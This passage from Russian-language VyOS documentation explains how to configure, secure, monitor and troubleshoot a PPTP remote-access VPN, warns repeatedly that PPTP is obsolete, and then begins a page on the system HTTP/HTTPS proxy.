- Пароли видны в `show configuration` (база64, легко декодировать)
- Нет централизованного управления
- Нет audit trail
- Масштабирование проблематично

### RADIUS authentication

Централизованная аутентификация (рекомендуется для production, хотя сам PPTP не рекомендуется):

```bash
set vpn pptp remote-access authentication mode 'radius'

# Primary RADIUS server
set vpn pptp remote-access authentication radius server 192.168.1.10 key 'RadiusSecret123!'

# Secondary RADIUS server (failover)
set vpn pptp remote-access authentication radius server 192.168.1.11 key 'RadiusSecret123!'

# RADIUS настройки
set vpn pptp remote-access authentication radius timeout 5
set vpn pptp remote-access authentication radius acct-timeout 5

# Source address для RADIUS requests
set vpn pptp remote-access authentication radius source-address '192.168.1.1'

# RADIUS accounting
set vpn pptp remote-access authentication radius acct-timeout 3

# NAS Identifier для RADIUS
set vpn pptp remote-access authentication radius nas-identifier 'vyos-pptp'

commit
```

**RADIUS VSA (Vendor-Specific Attributes)** для dynamic IP:
- Framed-IP-Address - статический IP для пользователя
- Framed-Route - push routes для клиента

### Протоколы аутентификации

**Иерархия безопасности** (от наименее к наиболее безопасному):
1. **PAP** (Password Authentication Protocol) - plaintext пароли
2. **CHAP** (Challenge-Handshake Authentication Protocol) - challenge-response
3. **MSCHAP** (Microsoft CHAP) - улучшенный CHAP
4. **MSCHAP-v2** - улучшенный MSCHAP (но все равно взламываемый)

```bash
# Требовать только MSCHAP-v2 (наименее плохой вариант)
set vpn pptp remote-access authentication protocols pap disable
set vpn pptp remote-access authentication protocols chap disable
set vpn pptp remote-access authentication protocols mschap disable
set vpn pptp remote-access authentication protocols mschap-v2 enable

# Или через require (alternative syntax)
set vpn pptp remote-access authentication require 'mschap-v2'

commit
```

**Важно**: Даже MSCHAP-v2 считается небезопасным в 2025 году. Это лишь "наименее плохой" вариант для PPTP.

### Настройка по протоколам

```bash
# Разрешить все (наименее безопасно)
set vpn pptp remote-access authentication protocols pap enable
set vpn pptp remote-access authentication protocols chap enable
set vpn pptp remote-access authentication protocols mschap enable
set vpn pptp remote-access authentication protocols mschap-v2 enable

# Только CHAP и MSCHAP-v2
set vpn pptp remote-access authentication protocols pap disable
set vpn pptp remote-access authentication protocols chap enable
set vpn pptp remote-access authentication protocols mschap disable
set vpn pptp remote-access authentication protocols mschap-v2 enable

# Только MSCHAP-v2 (рекомендуется для PPTP, но PPTP сам не рекомендуется)
set vpn pptp remote-access authentication protocols pap disable
set vpn pptp remote-access authentication protocols chap disable
set vpn pptp remote-access authentication protocols mschap disable
set vpn pptp remote-access authentication protocols mschap-v2 enable

commit
```

## MPPE шифрование

### Что такое MPPE

**MPPE (Microsoft Point-to-Point Encryption)**:
- Разработан Microsoft для PPTP
- Основан на RC4 stream cipher (устаревший, небезопасный)
- Ключи выводятся из MS-CHAP authentication
- Длина ключа: 40-bit, 56-bit, или 128-bit

**Проблемы безопасности**:
- RC4 имеет известные уязвимости (bias в keystream)
- 40-bit и 56-bit легко взламываются brute force
- Даже 128-bit MPPE недостаточно безопасен по современным стандартам
- Нет аутентификации данных (authentication)
- Подвержен bit-flipping атакам

### Настройка MPPE

```bash
# Требовать 128-bit encryption (наименее плохой вариант)
set vpn pptp remote-access authentication mppe 'require-128'

# Другие опции (НЕ рекомендуются)
set vpn pptp remote-access authentication mppe 'require'     # Любое MPPE (40/56/128)
set vpn pptp remote-access authentication mppe 'prefer'      # Предпочитать MPPE
set vpn pptp remote-access authentication mppe 'deny'        # Отключить MPPE (plaintext!)

commit
```

**Опции MPPE**:

| Значение | Описание | Безопасность |
|----------|----------|--------------|
| `require-128` | Требовать 128-bit MPPE | Наименее плохо |
| `require` | Требовать любое MPPE (40/56/128) | Очень плохо |
| `prefer` | Предпочитать MPPE, но разрешать plaintext | Критично плохо |
| `deny` | Отключить MPPE (plaintext) | НИКОГДА не используйте |

**Рекомендация**: Если вы ВЫНУЖДЕНЫ использовать PPTP, используйте `require-128`. Но лучше - не используйте PPTP вообще.

### MPPE key rotation

MPPE автоматически меняет ключи:
- Новый ключ каждые 256 пакетов (по умолчанию)
- Mitigation для некоторых RC4 атак
- НЕ решает фундаментальные проблемы RC4

## Client IP Pool конфигурация

### Базовый IP pool

```bash
# Простой диапазон
set vpn pptp remote-access client-ip-pool start '192.168.250.10'
set vpn pptp remote-access client-ip-pool stop '192.168.250.100'

# Gateway IP (VyOS IP в PPTP сети)
set vpn pptp remote-access gateway-address '192.168.250.1'

commit
```

**Расчет размера pool**:
- Start: 192.168.250.10
- Stop: 192.168.250.100
- Количество IP: 100 - 10 + 1 = 91 адрес
- Максимум одновременных клиентов: 91

### Subnet для PPTP клиентов

```bash
# Выделенная /24 сеть для PPTP
# Network: 192.168.250.0/24
# Gateway: 192.168.250.1 (VyOS)
# Pool: 192.168.250.10-192.168.250.254

set vpn pptp remote-access client-ip-pool start '192.168.250.10'
set vpn pptp remote-access client-ip-pool stop '192.168.250.254'
set vpn pptp remote-access gateway-address '192.168.250.1'

# Firewall для PPTP subnet
set firewall ipv4 forward filter rule 200 action accept
set firewall ipv4 forward filter rule 200 source address 192.168.250.0/24
set firewall ipv4 forward filter rule 200 description 'PPTP clients to LAN'

# NAT
set nat source rule 150 source address 192.168.250.0/24
set nat source rule 150 outbound-interface name eth0
set nat source rule 150 translation address masquerade

commit
```

### Статические IP для пользователей

```bash
# Пользователь с fixed IP
set vpn pptp remote-access authentication local-users username admin password 'AdminPass!'
set vpn pptp remote-access authentication local-users username admin static-ip '192.168.250.5'

# Другой пользователь с fixed IP
set vpn pptp remote-access authentication local-users username monitor password 'MonitorPass!'
set vpn pptp remote-access authentication local-users username monitor static-ip '192.168.250.6'

# Остальные пользователи получают IP из pool
set vpn pptp remote-access client-ip-pool start '192.168.250.10'
set vpn pptp remote-access client-ip-pool stop '192.168.250.100'

commit
```

**Важно**: Статические IP не должны пересекаться с pool range.

### Outside address

```bash
# IP адрес на котором PPTP слушает (обычно WAN IP)
set vpn pptp remote-access outside-address '203.0.113.1'

# Или listen на specific interface
set vpn pptp remote-access outside-address '192.0.2.1'

commit
```

## IPv6 поддержка

PPTP поддерживает IPv6 через PPP, но это редко используется и еще менее безопасно.

### IPv6 конфигурация

```bash
# Включить IPv6 для PPTP клиентов
set vpn pptp remote-access ppp-options ipv6 'allow'

# IPv6 pool для клиентов
set vpn pptp remote-access client-ipv6-pool prefix '2001:db8:pptp::/64'
set vpn pptp remote-access client-ipv6-pool mask '96'

# IPv6 prefix delegation (если нужно)
set vpn pptp remote-access client-ipv6-pool delegate '2001:db8:pptp-delegated::/56'

commit
```

### IPv6 интерфейс идентификаторы

```bash
# Interface ID для IPv6
set vpn pptp remote-access ppp-options ipv6-interface-id '::1'
set vpn pptp remote-access ppp-options ipv6-peer-interface-id '::2'

commit
```

**Важно**: IPv6 поддержка в PPTP экспериментальная и не рекомендуется для production.

## Rate limiting

### Per-user bandwidth ограничения

```bash
# Bandwidth shaping для пользователя
set vpn pptp remote-access authentication local-users username user1 password 'Pass1!'
set vpn pptp remote-access authentication local-users username user1 rate-limit download '10000'
set vpn pptp remote-access authentication local-users username user1 rate-limit upload '5000'

# user2 без ограничений
set vpn pptp remote-access authentication local-users username user2 password 'Pass2!'

commit
```

**Единицы**:
- Download/upload в Kbit/s
- 10000 = 10 Mbit/s download
- 5000 = 5 Mbit/s upload

### RADIUS-based rate limiting

RADIUS может возвращать VSA (Vendor-Specific Attributes) для rate limiting:

**FreeRADIUS пример** (`radreply` table):
```
username | attribute          | op | value
---------+--------------------+----+-------
alice    | Filter-Id          | := | 10000/5000
bob      | Filter-Id          | := | 50000/25000
```

**VyOS** автоматически применяет rate limits из RADIUS.

## Session management

### Максимум сессий

```bash
# Ограничить количество одновременных подключений
set vpn pptp remote-access max-concurrent-sessions 50

commit
```

**Важно**: Установите в соответствии с размером IP pool и CPU ресурсами.

### Session timeout

```bash
# Idle timeout (disconnect при неактивности)
set vpn pptp remote-access idle 1800  # 1800 секунд = 30 минут

# Session timeout (максимальное время сессии)
set vpn pptp remote-access session-timeout 28800  # 28800 секунд = 8 часов

commit
```

### Connection limits per user

```bash
# RADIUS может ограничивать количество одновременных сессий per user
# Настраивается на RADIUS сервере, не на VyOS

# FreeRADIUS пример (radgroupcheck):
# groupname | attribute              | op | value
# ----------+------------------------+----+-------
# users     | Simultaneous-Use       | := | 1
```

## Продвинутая конфигурация

### MTU и MRU

```bash
# MTU (Maximum Transmission Unit)
set vpn pptp remote-access mtu 1400

# MRU (Maximum Receive Unit) - обычно равен MTU
set vpn pptp remote-access mru 1400

commit
```

**Рекомендация**: MTU 1400 или меньше для PPTP (overhead GRE + PPP).

**Расчет MTU**:
- Ethernet MTU: 1500 bytes
- IP header: 20 bytes
- GRE header: 24 bytes
- PPP header: 8 bytes
- MPPE overhead: 4-8 bytes
- Оптимальный PPTP MTU: 1400-1430 bytes

### PPP options

```bash
# LCP echo для keepalive
set vpn pptp remote-access ppp-options lcp-echo-failure 3
set vpn pptp remote-access ppp-options lcp-echo-interval 30

# LCP echo-timeout
set vpn pptp remote-access ppp-options lcp-echo-timeout 30

commit
```

**LCP keepalive**:
- Interval: интервал между echo requests (секунды)
- Failure: количество неотвеченных echo после которого disconnect
- Timeout: время ожидания ответа

### DNS и WINS

```bash
# DNS серверы для PPTP клиентов
set vpn pptp remote-access name-server '192.168.1.1'
set vpn pptp remote-access name-server '8.8.8.8'
set vpn pptp remote-access name-server '1.1.1.1'

# WINS серверы (для Windows клиентов)
set vpn pptp remote-access wins-server '192.168.1.100'
set vpn pptp remote-access wins-server '192.168.1.101'

commit
```

### Client-to-client routing

По умолчанию PPTP клиенты могут общаться друг с другом через VyOS:

```bash
# Запретить client-to-client (если нужно изоляция)
# Firewall правило для блокировки
set firewall ipv4 forward filter rule 201 action drop
set firewall ipv4 forward filter rule 201 source address 192.168.250.0/24
set firewall ipv4 forward filter rule 201 destination address 192.168.250.0/24
set firewall ipv4 forward filter rule 201 description 'Block PPTP client-to-client'

commit
```

### Logging

```bash
# Включить подробное логирование
set vpn pptp remote-access ppp-options logging level debug

# Логировать specific events
set vpn pptp remote-access ppp-options logging level info

commit
```

**Log levels**:
- `debug` - максимум деталей
- `info` - стандартная информация
- `warning` - только предупреждения и ошибки
- `error` - только ошибки

**Просмотр логов**:
```bash
sudo journalctl -u accel-ppp@pptp -n 100    # последние 100 строк
sudo journalctl -u accel-ppp@pptp -f         # follow (live)
sudo journalctl -u accel-ppp@pptp --since "1 hour ago"
```

## Firewall конфигурация

### Минимальные firewall правила

```bash
# Разрешить PPTP control channel (TCP 1723)
set firewall ipv4 input filter rule 150 action accept
set firewall ipv4 input filter rule 150 destination port 1723
set firewall ipv4 input filter rule 150 protocol tcp
set firewall ipv4 input filter rule 150 description 'PPTP control'

# Разрешить GRE (IP protocol 47) для PPTP data
set firewall ipv4 input filter rule 151 action accept
set firewall ipv4 input filter rule 151 protocol gre
set firewall ipv4 input filter rule 151 description 'PPTP data (GRE)'

commit
```

### Ограничение source IP

```bash
# Разрешить PPTP только с specific networks
set firewall ipv4 input filter rule 150 action accept
set firewall ipv4 input filter rule 150 source address 198.51.100.0/24
set firewall ipv4 input filter rule 150 destination port 1723
set firewall ipv4 input filter rule 150 protocol tcp

set firewall ipv4 input filter rule 151 action accept
set firewall ipv4 input filter rule 151 source address 198.51.100.0/24
set firewall ipv4 input filter rule 151 protocol gre

commit
```

### Rate limiting connections

```bash
# Rate limit на PPTP connections (защита от brute force)
set firewall ipv4 input filter rule 150 action accept
set firewall ipv4 input filter rule 150 destination port 1723
set firewall ipv4 input filter rule 150 protocol tcp
set firewall ipv4 input filter rule 150 recent count 5
set firewall ipv4 input filter rule 150 recent time minute 1

# Drop если превышен limit
set firewall ipv4 input filter rule 149 action drop
set firewall ipv4 input filter rule 149 destination port 1723
set firewall ipv4 input filter rule 149 protocol tcp
set firewall ipv4 input filter rule 149 recent count 6
set firewall ipv4 input filter rule 149 recent time minute 1
set firewall ipv4 input filter rule 149 log enable

commit
```

## NAT конфигурация

### Source NAT для PPTP клиентов

```bash
# Masquerade для PPTP клиентов выходящих в интернет
set nat source rule 150 outbound-interface name eth0
set nat source rule 150 source address 192.168.250.0/24
set nat source rule 150 translation address masquerade

commit
```

### Destination NAT (port forward для внешних PPTP клиентов)

Если VyOS за другим NAT роутером:

```bash
# На внешнем роутере:
# Forward TCP 1723 и GRE (IP protocol 47) к VyOS

# VyOS конфигурация не требуется (PPTP слушает на outside-address)
```

**Важно**: Многие NAT роутеры имеют проблемы с GRE passthrough. Может потребоваться "PPTP passthrough" в настройках роутера.

## Клиентская конфигурация

### Windows клиент

**Windows 10/11**:

1. Settings → Network & Internet → VPN
2. Add a VPN connection
3. VPN provider: Windows (built-in)
4. Connection name: Company PPTP
5. Server name or address: `vpn.company.com` или `203.0.113.1`
6. VPN type: Point to Point Tunneling Protocol (PPTP)
7. Type of sign-in info: User name and password
8. User name: `testuser`
9. Password: `testpass`
10. Save → Connect

**PowerShell**:
```powershell
Add-VpnConnection -Name "Company PPTP" `
  -ServerAddress "vpn.company.com" `
  -TunnelType Pptp `
  -EncryptionLevel Required `
  -AuthenticationMethod MSChapv2 `
  -Force `
  -RememberCredential `
  -PassThru

# Подключение
rasdial "Company PPTP" testuser testpass

# Отключение
rasdial "Company PPTP" /disconnect
```

### Linux клиент

**Ubuntu/Debian**:
```bash
# Установка
sudo apt-get install pptp-linux

# Конфигурация /etc/ppp/peers/company-pptp
pty "pptp vpn.company.com --nolaunchpppd"
name testuser
password testpass
remotename PPTP
require-mppe-128
file /etc/ppp/options.pptp
ipparam company-pptp

# /etc/ppp/options.pptp
lock
noauth
refuse-eap
refuse-pap
refuse-chap
refuse-mschap
nobsdcomp
nodeflate

# Подключение
sudo pon company-pptp

# Проверка
ip addr show ppp0
ip route

# Отключение
sudo poff company-pptp
```

### macOS клиент

1. System Preferences → Network
2. Click "+" to add connection
3. Interface: VPN
4. VPN Type: PPTP
5. Service Name: Company PPTP
6. Server Address: `vpn.company.com`
7. Account Name: `testuser`
8. Authentication Settings:
   - Password
   - Encryption: Maximum (128-bit)
9. Advanced:
   - Send all traffic over VPN (optional)
10. Apply → Connect

### Android клиент

**Предупреждение**: Android 12+ удалил встроенную поддержку PPTP из-за проблем безопасности.

**Android 11 и ранее**:
1. Settings → Network & Internet → VPN
2. Add VPN
3. Name: Company PPTP
4. Type: PPTP
5. Server address: `vpn.company.com`
6. Username: `testuser`
7. Password: `testpass`
8. Save → Connect

**Android 12+**: PPTP не поддерживается. Используйте OpenVPN или WireGuard.

### iOS клиент

**Предупреждение**: iOS 10+ удалил встроенную поддержку PPTP.

Используйте альтернативные VPN протоколы для iOS.

## Примеры конфигураций

### Пример 1: Базовый PPTP для legacy устройств

```bash
# PPTP remote access с local auth
set vpn pptp remote-access authentication mode 'local'
set vpn pptp remote-access authentication local-users username testuser password 'TestPass123!'
set vpn pptp remote-access authentication local-users username admin password 'AdminPass456!'
set vpn pptp remote-access authentication local-users username admin static-ip '192.168.250.5'

# Требовать MSCHAP-v2 и MPPE-128
set vpn pptp remote-access authentication protocols pap disable
set vpn pptp remote-access authentication protocols chap disable
set vpn pptp remote-access authentication protocols mschap disable
set vpn pptp remote-access authentication protocols mschap-v2 enable
set vpn pptp remote-access authentication mppe 'require-128'

# IP pool
set vpn pptp remote-access client-ip-pool start '192.168.250.10'
set vpn pptp remote-access client-ip-pool stop '192.168.250.100'
set vpn pptp remote-access gateway-address '192.168.250.1'
set vpn pptp remote-access outside-address '203.0.113.1'

# DNS
set vpn pptp remote-access name-server '192.168.1.1'
set vpn pptp remote-access name-server '8.8.8.8'

# MTU optimization
set vpn pptp remote-access mtu 1400
set vpn pptp remote-access mru 1400

# Session management
set vpn pptp remote-access max-concurrent-sessions 20
set vpn pptp remote-access idle 1800

# PPP options
set vpn pptp remote-access ppp-options lcp-echo-failure 3
set vpn pptp remote-access ppp-options lcp-echo-interval 30

# Firewall
set firewall ipv4 input filter rule 150 action accept
set firewall ipv4 input filter rule 150 destination port 1723
set firewall ipv4 input filter rule 150 protocol tcp
set firewall ipv4 input filter rule 150 description 'PPTP control'

set firewall ipv4 input filter rule 151 action accept
set firewall ipv4 input filter rule 151 protocol gre
set firewall ipv4 input filter rule 151 description 'PPTP data'

set firewall ipv4 forward filter rule 200 action accept
set firewall ipv4 forward filter rule 200 source address 192.168.250.0/24

# NAT
set nat source rule 150 outbound-interface name eth0
set nat source rule 150 source address 192.168.250.0/24
set nat source rule 150 translation address masquerade

commit
save
```

### Пример 2: PPTP с RADIUS authentication

```bash
# PPTP с RADIUS
set vpn pptp remote-access authentication mode 'radius'
set vpn pptp remote-access authentication radius server 192.168.1.10 key 'RadiusSecret123!'
set vpn pptp remote-access authentication radius server 192.168.1.11 key 'RadiusSecret123!'
set vpn pptp remote-access authentication radius timeout 5
set vpn pptp remote-access authentication radius acct-timeout 3
set vpn pptp remote-access authentication radius nas-identifier 'vyos-pptp-gw'
set vpn pptp remote-access authentication radius source-address '192.168.1.1'

# MSCHAP-v2 only
set vpn pptp remote-access authentication require 'mschap-v2'
set vpn pptp remote-access authentication mppe 'require-128'

# IP pool
set vpn pptp remote-access client-ip-pool start '10.99.0.10'
set vpn pptp remote-access client-ip-pool stop '10.99.0.250'
set vpn pptp remote-access gateway-address '10.99.0.1'
set vpn pptp remote-access outside-address '203.0.113.1'

# DNS и WINS
set vpn pptp remote-access name-server '192.168.1.1'
set vpn pptp remote-access name-server '8.8.8.8'
set vpn pptp remote-access wins-server '192.168.1.100'

# Session limits
set vpn pptp remote-access max-concurrent-sessions 100
set vpn pptp remote-access idle 3600
set vpn pptp remote-access session-timeout 28800

# PPP options
set vpn pptp remote-access mtu 1400
set vpn pptp remote-access ppp-options lcp-echo-failure 3
set vpn pptp remote-access ppp-options lcp-echo-interval 30

# Logging
set vpn pptp remote-access ppp-options logging level info

# Firewall (same as before)
# ...

commit
save
```

### Пример 3: PPTP с rate limiting

```bash
# PPTP с per-user bandwidth limits
set vpn pptp remote-access authentication mode 'local'

# User tier 1: 5 Mbit/s down, 2 Mbit/s up
set vpn pptp remote-access authentication local-users username user1 password 'Pass1!'
set vpn pptp remote-access authentication local-users username user1 rate-limit download '5000'
set vpn pptp remote-access authentication local-users username user1 rate-limit upload '2000'

# User tier 2: 10 Mbit/s down, 5 Mbit/s up
set vpn pptp remote-access authentication local-users username user2 password 'Pass2!'
set vpn pptp remote-access authentication local-users username user2 rate-limit download '10000'
set vpn pptp remote-access authentication local-users username user2 rate-limit upload '5000'

# Admin: unlimited
set vpn pptp remote-access authentication local-users username admin password 'AdminPass!'
set vpn pptp remote-access authentication local-users username admin static-ip '192.168.250.5'

# IP pool
set vpn pptp remote-access client-ip-pool start '192.168.250.10'
set vpn pptp remote-access client-ip-pool stop '192.168.250.50'
set vpn pptp remote-access gateway-address '192.168.250.1'
set vpn pptp remote-access outside-address '203.0.113.1'

# Standard settings
set vpn pptp remote-access authentication mppe 'require-128'
set vpn pptp remote-access name-server '8.8.8.8'
set vpn pptp remote-access mtu 1400

commit
save
```

## Мониторинг и диагностика

### Проверка активных сессий

```bash
# Показать активные PPTP сессии
show pptp-server sessions

# Пример вывода:
# Interface | Username | IP Address      | Calling Station | Uptime    | RX/TX
# ----------+----------+-----------------+-----------------+-----------+-------------
# pptp0     | testuser | 192.168.250.10  | 198.51.100.50   | 00:15:32  | 1.2M/3.4M
# pptp1     | admin    | 192.168.250.5   | 198.51.100.51   | 01:23:45  | 5.6M/12.1M

# Подробная статистика
show pptp-server statistics
```

### Мониторинг логов

```bash
# PPTP логи (accel-ppp backend)
sudo journalctl -u accel-ppp@pptp -b 0

# Последние 50 строк
sudo journalctl -u accel-ppp@pptp -n 50

# Live log monitoring
sudo journalctl -u accel-ppp@pptp -f

# За последний час
sudo journalctl -u accel-ppp@pptp --since "1 hour ago"

# Grep для specific пользователя
sudo journalctl -u accel-ppp@pptp | grep "testuser"

# Только ошибки
sudo journalctl -u accel-ppp@pptp -p err
```

### Проверка connectivity

```bash
# На VyOS: ping PPTP клиента
ping 192.168.250.10

# Проверить routing
show ip route

# Traceroute к клиенту
traceroute 192.168.250.10

# Netstat для PPTP connections
sudo netstat -tlnp | grep 1723

# Показать GRE туннели
sudo ip tunnel show
```

### tcpdump для PPTP

```bash
# Capture PPTP control channel (TCP 1723)
sudo tcpdump -i eth0 port 1723 -n -vv

# Capture GRE traffic (PPTP data)
sudo tcpdump -i eth0 proto gre -n

# Capture на PPTP интерфейсе (decrypted data)
sudo tcpdump -i pptp0 -n

# Save to pcap для анализа в Wireshark
sudo tcpdump -i eth0 port 1723 or proto gre -w /tmp/pptp-capture.pcap
```

### Performance testing

```bash
# На клиенте: iperf3 через PPTP
iperf3 -c 192.168.1.10 -t 30

# На VyOS проверить CPU usage
top
htop

# Network statistics
show interfaces pptp pptp0
```

## Troubleshooting

### Проблема: Клиент не может подключиться

**Симптомы**:
- Connection timeout
- "Unable to establish connection"

**Причины**:
1. Firewall блокирует TCP 1723 или GRE
2. NAT роутер блокирует GRE
3. PPTP сервис не запущен

**Диагностика**:
```bash
# Проверить что PPTP слушает
sudo netstat -tlnp | grep 1723

# Проверить firewall
show firewall ipv4 input filter

# Логи
sudo journalctl -u accel-ppp@pptp -n 50

# Тест с клиента: telnet к TCP 1723
telnet vpn.company.com 1723
```

**Решение**:
```bash
# Firewall правила
set firewall ipv4 input filter rule 150 action accept
set firewall ipv4 input filter rule 150 destination port 1723
set firewall ipv4 input filter rule 150 protocol tcp

set firewall ipv4 input filter rule 151 action accept
set firewall ipv4 input filter rule 151 protocol gre

# Перезапустить PPTP
restart pptp

commit
```

### Проблема: Аутентификация не проходит

**Симптомы**:
- "Authentication failed"
- "Invalid username or password"

**Причины**:
1. Неправильный username/password
2. Требуется другой auth protocol
3. RADIUS недоступен

**Диагностика**:
```bash
# Проверить пользователей
show configuration vpn pptp remote-access authentication

# Логи с деталями auth
sudo journalctl -u accel-ppp@pptp | grep -i "auth"

# RADIUS test (если используется)
# На RADIUS сервере: tail -f /var/log/freeradius/radius.log
```

**Решение**:
```bash
# Проверить password
show configuration vpn pptp remote-access authentication local-users username testuser

# Разрешить все auth protocols (для диагностики)
set vpn pptp remote-access authentication protocols pap enable
set vpn pptp remote-access authentication protocols chap enable
set vpn pptp remote-access authentication protocols mschap enable
set vpn pptp remote-access authentication protocols mschap-v2 enable

# Отключить MPPE (для диагностики, НЕ для production)
delete vpn pptp remote-access authentication mppe

commit
```

### Проблема: Подключено, но нет доступа к сети

**Симптомы**:
- PPTP туннель UP
- Ping gateway работает
- Ping LAN ресурсов не работает

**Причины**:
1. Firewall блокирует forward
2. NAT не настроен
3. Routing проблемы

**Диагностика**:
```bash
# На VyOS: ping клиента
ping 192.168.250.10

# На клиенте: ping gateway
ping 192.168.250.1

# Проверить routing на клиенте
ip route  # Linux
route print  # Windows

# Firewall forward rules
show firewall ipv4 forward filter
```

**Решение**:
```bash
# Firewall для forward
set firewall ipv4 forward filter rule 200 action accept
set firewall ipv4 forward filter rule 200 source address 192.168.250.0/24

# NAT для PPTP клиентов
set nat source rule 150 source address 192.168.250.0/24
set nat source rule 150 outbound-interface name eth0
set nat source rule 150 translation address masquerade

commit
```

### Проблема: GRE не проходит через NAT

**Симптомы**:
- PPTP control connection устанавливается (TCP 1723)
- GRE туннель не создается
- "GRE timeout" в логах

**Причины**:
- NAT роутер не поддерживает GRE passthrough
- Multiple PPTP клиентов за одним NAT (GRE не имеет портов!)

**Решение**:
1. Включить "PPTP passthrough" на NAT роутере
2. Использовать только один PPTP клиент за NAT
3. **Лучше**: Мигрировать на L2TP/IPsec (работает через NAT с NAT-T)

### Проблема: Медленная производительность

**Симптомы**:
- Низкая пропускная способность
- Высокая latency
- Packet loss

**Причины**:
1. MTU проблемы (fragmentation)
2. CPU overhead от MPPE encryption
3. Network congestion

**Диагностика**:
```bash
# На клиенте: MTU test
ping -M do -s 1400 192.168.250.1  # Linux
ping -f -l 1400 192.168.250.1     # Windows

# iperf3 test
iperf3 -c 192.168.1.10

# CPU usage на VyOS
top
```

**Решение**:
```bash
# MTU tuning
set vpn pptp remote-access mtu 1400
set vpn pptp remote-access mru 1400

# На клиенте (Windows):
# netsh interface ipv4 set subinterface "PPTP Connection" mtu=1400 store=persistent

# На клиенте (Linux):
# ip link set dev ppp0 mtu 1400

commit
```

### Проблема: Session disconnects случайно

**Симптомы**:
- PPTP подключается
- Disconnect через некоторое время без видимой причины

**Причины**:
1. Idle timeout слишком короткий
2. LCP echo не отвечает (network issues)
3. NAT session timeout

**Решение**:
```bash
# Увеличить idle timeout
set vpn pptp remote-access idle 7200  # 2 часа

# Настроить LCP keepalive
set vpn pptp remote-access ppp-options lcp-echo-failure 5
set vpn pptp remote-access ppp-options lcp-echo-interval 60

# Или отключить idle timeout (не рекомендуется)
delete vpn pptp remote-access idle

commit
```

## Безопасность и best practices

### Критичные рекомендации

1. **НЕ используйте PPTP для production**
   - Используйте WireGuard, OpenVPN, или IPsec
   - PPTP только для временных legacy сценариев

2. **Если ВЫНУЖДЕНЫ использовать PPTP**:
   ```bash
   # Требовать MSCHAP-v2 (наименее плохой)
   set vpn pptp remote-access authentication protocols pap disable
   set vpn pptp remote-access authentication protocols chap disable
   set vpn pptp remote-access authentication protocols mschap disable
   set vpn pptp remote-access authentication protocols mschap-v2 enable

   # Требовать 128-bit MPPE
   set vpn pptp remote-access authentication mppe 'require-128'
   ```

3. **Сильные пароли обязательны**:
   - Минимум 16 символов
   - Uppercase, lowercase, numbers, symbols
   - Избегайте dictionary words
   - Используйте password manager

4. **RADIUS вместо local auth**:
   ```bash
   set vpn pptp remote-access authentication mode 'radius'
   set vpn pptp remote-access authentication radius server 192.168.1.10 key 'LongRadiusSecret123!'
   ```

5. **Ограничить source IP**:
   ```bash
   # Firewall для trusted networks только
   set firewall ipv4 input filter rule 150 source address 198.51.100.0/24
   ```

6. **Rate limiting**:
   ```bash
   # Защита от brute force
   set firewall ipv4 input filter rule 150 recent count 5
   set firewall ipv4 input filter rule 150 recent time minute 1
   ```

7. **Мониторинг и alerting**:
   ```bash
   # Регулярно проверять логи
   sudo journalctl -u accel-ppp@pptp | grep -i "failed"

   # Setup alerting для failed auth attempts
   ```

8. **Idle timeout**:
   ```bash
   set vpn pptp remote-access idle 1800  # 30 минут
   ```

9. **Планируйте миграцию**:
   - Документируйте план миграции на современный VPN
   - Установите дедлайн для отключения PPTP
   - Уведомите пользователей о deprecation

### Compliance considerations

**PPTP НЕ соответствует**:
- **PCI DSS** - запрещен для payment card data
- **HIPAA** - недостаточно для healthcare data
- **GDPR** - не подходит для personal data protection
- **SOX** - не соответствует audit требованиям

Если ваша организация подпадает под compliance regulations - **PPTP категорически запрещен**.

## Заключение

PPTP является устаревшей и небезопасной VPN технологией, которая **НЕ должна использоваться** для новых развертываний или любых сценариев, требующих реальной безопасности.

### Когда PPTP допустим (крайне редко)

1. **Legacy hardware** без альтернатив
2. **Temporary migration** с четким планом отключения
3. **Test/lab environments** без sensitive данных
4. **Non-security scenarios** (например, простое туннелирование для bypass geo-restrictions на non-sensitive трафике)

### Рекомендованные альтернативы

**Для новых deployments**:
1. **WireGuard** - современный, быстрый, безопасный (топ выбор 2025)
2. **OpenVPN** - проверенный, гибкий, широко поддерживаемый
3. **IPsec/IKEv2** - enterprise-grade, стандартизированный
4. **L2TP/IPsec** - встроенные клиенты, лучше чем PPTP (но тоже устаревает)

**Таблица миграции**:
| Сценарий | Мигрируйте на |
|----------|---------------|
| Remote access для всех OS | WireGuard или OpenVPN |
| Windows/iOS/macOS встроенные клиенты | L2TP/IPsec или IKEv2 |
| Максимальная производительность | WireGuard |
| Enterprise с PKI | OpenVPN или IPsec |
| Mobile users с roaming | WireGuard или IKEv2 |
| Legacy PPTP клиенты | L2TP/IPsec (временно) → WireGuard (финал) |

### Финальное предупреждение

VyOS предоставляет PPTP **только для backwards compatibility**. Протокол имеет множество критических уязвимостей безопасности и **не должен** использоваться для защиты sensitive информации.

**Начните планировать миграцию на современные VPN протоколы сегодня.**

Для помощи с миграцией, смотрите документацию:
- [WireGuard VPN](/docs/vyos/vpn/vyos-wireguard/)
- [OpenVPN](/docs/vyos/vpn/vyos-openvpn/)
- [IPsec VPN](/docs/vyos/vpn/vyos-ipsec/)
- [L2TP/IPsec](/docs/vyos/vpn/vyos-l2tp/)


---

# Proxy - Системный HTTP/HTTPS прокси

Source: https://opennix.org/docs/vyos/system/vyos-proxy/


## Системный Proxy в VyOS

## Обзор

Системный прокси-сервер в VyOS позволяет настроить централизованную точку доступа для всех исходящих HTTP, HTTPS и FTP соединений, инициируемых системой. Это критически важно в корпоративных средах, где прямой доступ к интернету ограничен политиками безопасности.

### Назначение

Конфигурация прокси-сервера в VyOS используется для:

- **Обновления системы**: Загрузка новых образов VyOS через команду `add system image`
- **Установка пакетов**: Доступ к репозиториям пакетов через прокси
- **Загрузка файлов**: Системные операции, требующие доступа к внешним ресурсам
- **Централизованное управление трафиком**: Единая точка контроля исходящих соединений
- **Соблюдение корпоративных политик**: Обязательное использование корпоративного прокси

### Области применения

Системный прокси применяется в следующих сценариях:

1. **Корпоративные сети**: Обязательное использование корпоративного прокси-сервера
2. **Изолированные сегменты**: DMZ зоны с ограниченным доступом к интернету
3. **Облачные инфраструктуры**: Yandex Cloud, VK Cloud с централизованным управлением трафиком
4. **Аудит и мониторинг**: Контроль всех исходящих соединений
5. **Кэширование**: Оптимизация загрузки часто используемых ресурсов

### Принцип работы

При настройке системного прокси VyOS:

1. Устанавливает переменные окружения: `http_proxy`, `https_proxy`, `ftp_proxy`
2. Применяет настройки ко всем системным процессам
3. Использует прокси для всех HTTP/HTTPS/FTP соединений
4. Поддерживает аутентификацию по RFC 7617 (Basic Authentication)
